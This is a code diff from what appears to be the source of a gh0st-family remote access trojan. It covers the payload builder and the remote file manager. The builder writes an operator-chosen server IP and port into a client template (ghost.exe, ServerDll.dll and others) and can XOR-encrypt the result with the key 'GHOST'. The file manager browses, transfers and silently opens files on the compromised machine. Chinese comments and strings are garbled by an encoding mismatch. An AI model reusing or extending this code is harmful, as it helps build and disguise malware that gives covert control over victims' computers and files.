ULONG m_ulMaxLength;
|
||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
|
ULONG DeAllocateBuffer(ULONG ulLength); // ˽<><CBBD>
|
||||||
|
ULONG ReAllocateBuffer(ULONG ulLength); // ˽<><CBBD>
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -13,13 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
|||||||
|
|
||||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||||
|
|
||||||
struct CONNECT_ADDRESS
|
|
||||||
{
|
|
||||||
DWORD dwFlag;
|
|
||||||
char szServerIP[MAX_PATH];
|
|
||||||
int iPort;
|
|
||||||
}g_ConnectAddress={0x1234567,"",0};
|
|
||||||
|
|
||||||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||||
: CDialog(CBuildDlg::IDD, pParent)
|
: CDialog(CBuildDlg::IDD, pParent)
|
||||||
, m_strIP(_T(""))
|
, m_strIP(_T(""))
|
||||||
@@ -37,6 +30,8 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
CDialog::DoDataExchange(pDX);
|
CDialog::DoDataExchange(pDX);
|
||||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||||
|
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||||
|
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -59,11 +54,33 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
BYTE * szBuffer=NULL;
|
BYTE * szBuffer=NULL;
|
||||||
DWORD dwFileSize;
|
DWORD dwFileSize;
|
||||||
UpdateData(TRUE);
|
UpdateData(TRUE);
|
||||||
|
int index = m_ComboExe.GetCurSel();
|
||||||
|
CString file;
|
||||||
|
switch (index)
|
||||||
|
{
|
||||||
|
case CLIENT_TYPE_DLL:
|
||||||
|
file = "TestRun.exe";
|
||||||
|
break;
|
||||||
|
case CLIENT_TYPE_ONE:
|
||||||
|
file = "ghost.exe";
|
||||||
|
break;
|
||||||
|
case CLIENT_TYPE_MODULE:
|
||||||
|
file = "ServerDll.dll";
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (file.IsEmpty())
|
||||||
|
{
|
||||||
|
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
|
||||||
|
return CDialog::OnOK();
|
||||||
|
}
|
||||||
|
unsigned long flag = index == 0 ? FLAG_FINDEN : FLAG_GHOST;
|
||||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||||
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
CONNECT_ADDRESS g_ConnectAddress = { flag, "", 0, index };
|
||||||
|
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||||
|
|
||||||
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
|
if (!g_ConnectAddress.IsValid())
|
||||||
if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0)
|
|
||||||
return;
|
return;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -72,12 +89,12 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
while (*p) ++p;
|
while (*p) ++p;
|
||||||
while ('\\' != *p) --p;
|
while ('\\' != *p) --p;
|
||||||
strcpy(p+1, "TestRun.exe");
|
strcpy(p+1, file.GetString());
|
||||||
|
|
||||||
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
if (_access(path, 0) == -1)
|
if (_access(path, 0) == -1)
|
||||||
{
|
{
|
||||||
MessageBox("\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
return CDialog::OnOK();
|
return CDialog::OnOK();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -92,16 +109,38 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
File.Read(szBuffer,dwFileSize);
|
File.Read(szBuffer,dwFileSize);
|
||||||
File.Close();
|
File.Close();
|
||||||
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.Flag(),dwFileSize,sizeof(DWORD));
|
||||||
|
if (iOffset==-1)
|
||||||
|
{
|
||||||
|
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)&g_ConnectAddress.Flag(),
|
||||||
|
dwFileSize - iOffset - sizeof(sizeof(g_ConnectAddress)), sizeof(DWORD)) != -1) {
|
||||||
|
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
||||||
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
||||||
strcpy(p+1, "ClientDemo.exe");
|
if (index == CLIENT_TYPE_MODULE)
|
||||||
|
{
|
||||||
|
strcpy(p + 1, "ClientDemo.dll");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
strcpy(p + 1, "ClientDemo.exe");
|
||||||
|
}
|
||||||
strSeverFile = path;
|
strSeverFile = path;
|
||||||
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
DeleteFileA(path);
|
||||||
File.Write(szBuffer,dwFileSize);
|
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||||
|
if (!r) {
|
||||||
|
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
||||||
|
return CDialog::OnOK();
|
||||||
|
}
|
||||||
|
Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
|
||||||
|
File.Write(szBuffer, dwFileSize);
|
||||||
File.Close();
|
File.Close();
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!");
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<EFBFBD>ļ<EFBFBD>λ<EFBFBD><EFBFBD>:\r\n"+ strSeverFile);
|
||||||
}
|
}
|
||||||
catch (CMemoryException* e)
|
catch (CMemoryException* e)
|
||||||
{
|
{
|
||||||
@@ -128,8 +167,41 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
|
|||||||
for (i = 0; i < iBufferSize; ++i)
|
for (i = 0; i < iBufferSize; ++i)
|
||||||
{
|
{
|
||||||
for (j = 0; j < iKeySize; j ++)
|
for (j = 0; j < iKeySize; j ++)
|
||||||
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
|
if (szBuffer[i+j] != Key[j]) break;
|
||||||
if (j == iKeySize) return i;
|
if (j == iKeySize) return i;
|
||||||
}
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CBuildDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||||
|
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe");
|
||||||
|
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe");
|
||||||
|
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
|
||||||
|
m_ComboExe.SetCurSel(0);
|
||||||
|
|
||||||
|
m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>");
|
||||||
|
m_ComboEncrypt.InsertString(1, "XOR");
|
||||||
|
m_ComboEncrypt.SetCurSel(0);
|
||||||
|
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) {
|
||||||
|
switch (method)
|
||||||
|
{
|
||||||
|
case 0:// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
case 1: // XOR
|
||||||
|
xor_encrypt_decrypt(buffer, len, { 'G', 'H', 'O', 'S', 'T' });
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return Buffer();
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include "Buffer.h"
|
||||||
|
|
||||||
|
|
||||||
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
@@ -22,4 +24,8 @@ public:
|
|||||||
CString m_strIP;
|
CString m_strIP;
|
||||||
CString m_strPort;
|
CString m_strPort;
|
||||||
afx_msg void OnBnClickedOk();
|
afx_msg void OnBnClickedOk();
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
Buffer Encrypt(BYTE* buffer, int len, int method);
|
||||||
|
CComboBox m_ComboExe;
|
||||||
|
CComboBox m_ComboEncrypt;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -12,7 +12,8 @@ CCpuUsage::CCpuUsage()
|
|||||||
CCpuUsage::~CCpuUsage()
|
CCpuUsage::~CCpuUsage()
|
||||||
{
|
{
|
||||||
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
delete m_pCounterStruct;
|
if (m_pCounterStruct)
|
||||||
|
delete m_pCounterStruct;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -43,7 +43,7 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
|
|||||||
sizeof(SHFILEINFO),
|
sizeof(SHFILEINFO),
|
||||||
SHGFI_ICON | SHGFI_USEFILEATTRIBUTES
|
SHGFI_ICON | SHGFI_USEFILEATTRIBUTES
|
||||||
);
|
);
|
||||||
m_hIcon = sfi.hIcon;
|
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_FATHER));
|
||||||
// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
|
// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
|
||||||
static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo
|
static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo
|
||||||
(
|
(
|
||||||
@@ -160,6 +160,7 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
|||||||
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
|
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
|
||||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
|
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
|
||||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
|
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
|
||||||
|
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
|
||||||
//}}AFX_MSG_MAP
|
//}}AFX_MSG_MAP
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
@@ -169,7 +170,7 @@ END_MESSAGE_MAP()
|
|||||||
|
|
||||||
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
|
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
|
||||||
{
|
{
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
||||||
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||||
else
|
else
|
||||||
@@ -358,7 +359,7 @@ void CFileManagerDlg::FixedLocalDriveList()
|
|||||||
m_list_local.SetItemData(nItem, 1);
|
m_list_local.SetItemData(nItem, 1);
|
||||||
if (lstrlen(FileSystem) == 0)
|
if (lstrlen(FileSystem) == 0)
|
||||||
{
|
{
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
|
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
|
||||||
}
|
}
|
||||||
@@ -466,7 +467,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
|
|||||||
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
|
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
|
||||||
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
|
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
|
||||||
m_list_local.SetItemData(nItem, file.IsDirectory());
|
m_list_local.SetItemData(nItem, file.IsDirectory());
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
|
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
|
||||||
|
|
||||||
@@ -920,11 +921,29 @@ void CFileManagerDlg::OnReceiveComplete()
|
|||||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||||
{
|
{
|
||||||
case TOKEN_FILE_LIST: // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
case TOKEN_FILE_LIST: // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||||
FixedRemoteFileList
|
try
|
||||||
|
{
|
||||||
|
FixedRemoteFileList
|
||||||
(
|
(
|
||||||
m_pContext->m_DeCompressionBuffer.GetBuffer(0),
|
m_pContext->m_DeCompressionBuffer.GetBuffer(0),
|
||||||
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
|
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
|
||||||
);
|
);
|
||||||
|
}
|
||||||
|
catch (CMemoryException* e)
|
||||||
|
{
|
||||||
|
OutputDebugStringA("[ERROR] CMemoryException\n");
|
||||||
|
}
|
||||||
|
catch (CFileException* e)
|
||||||
|
{
|
||||||
|
OutputDebugStringA("[ERROR] CFileException\n");
|
||||||
|
}
|
||||||
|
catch (CException* e)
|
||||||
|
{
|
||||||
|
OutputDebugStringA("[ERROR] CException\n");
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
OutputDebugStringA("[ERROR] Other exception\n");
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
CreateLocalRecvFile();
|
CreateLocalRecvFile();
|
||||||
@@ -1026,7 +1045,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ImageList
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ImageList
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
|
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
|
||||||
HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
|
HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
|
||||||
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
|
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
|
||||||
@@ -1078,7 +1097,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
|||||||
{
|
{
|
||||||
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
|
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
|
||||||
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
|
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
|
||||||
}
|
}
|
||||||
@@ -1110,14 +1129,17 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
|||||||
|
|
||||||
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
|
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
|
||||||
{
|
{
|
||||||
char buff[1024];
|
char *buff = new char[1024];
|
||||||
va_list arglist;
|
va_list arglist;
|
||||||
va_start( arglist, lpFmt );
|
va_start( arglist, lpFmt );
|
||||||
|
|
||||||
memset(buff, 0, sizeof(buff));
|
memset(buff, 0, 1024);
|
||||||
|
|
||||||
vsprintf(buff, lpFmt, arglist);
|
vsprintf(buff, lpFmt, arglist);
|
||||||
m_wndStatusBar.SetPaneText(0, buff);
|
// fix: <20><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// m_wndStatusBar.SetPaneText(0, buff);
|
||||||
|
// msg <20><>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С,<2C><>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
|
SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff);
|
||||||
va_end( arglist );
|
va_end( arglist );
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1422,7 +1444,7 @@ void CFileManagerDlg::OnRemoteCopy()
|
|||||||
{
|
{
|
||||||
m_bIsUpload = false;
|
m_bIsUpload = false;
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
EnableControl(FALSE);
|
EnableControl(TRUE);
|
||||||
|
|
||||||
// TODO: Add your command handler code here
|
// TODO: Add your command handler code here
|
||||||
// <20><><EFBFBD><EFBFBD>Drag<61>ģ<EFBFBD><C4A3>ҵ<EFBFBD>Drop<6F><70><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8>ļ<EFBFBD><C4BC><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>Drag<61>ģ<EFBFBD><C4A3>ҵ<EFBFBD>Drop<6F><70><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
@@ -2088,7 +2110,6 @@ void CFileManagerDlg::SendFileData()
|
|||||||
ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
|
ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
|
||||||
CloseHandle(hFile);
|
CloseHandle(hFile);
|
||||||
|
|
||||||
|
|
||||||
if (nNumberOfBytesRead > 0)
|
if (nNumberOfBytesRead > 0)
|
||||||
{
|
{
|
||||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||||
@@ -2172,6 +2193,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
|
|||||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
|
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
|
||||||
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2307,7 +2329,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
|||||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
||||||
delete [] lpPacket;
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::OnRemoteOpenHide()
|
void CFileManagerDlg::OnRemoteOpenHide()
|
||||||
@@ -2321,7 +2343,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
|||||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
||||||
delete [] lpPacket;
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
|
void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
|
||||||
|
|||||||
@@ -6,6 +6,8 @@
|
|||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
#include "gh0st2Remote.h"
|
#include "gh0st2Remote.h"
|
||||||
|
|
||||||
|
#define WM_MY_MESSAGE (WM_USER+300)
|
||||||
|
|
||||||
// FileManagerDlg.h : header file
|
// FileManagerDlg.h : header file
|
||||||
//
|
//
|
||||||
|
|
||||||
@@ -15,6 +17,16 @@ typedef CList<CString, CString&> strList;
|
|||||||
|
|
||||||
class CFileManagerDlg : public CDialog
|
class CFileManagerDlg : public CDialog
|
||||||
{
|
{
|
||||||
|
protected:
|
||||||
|
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
|
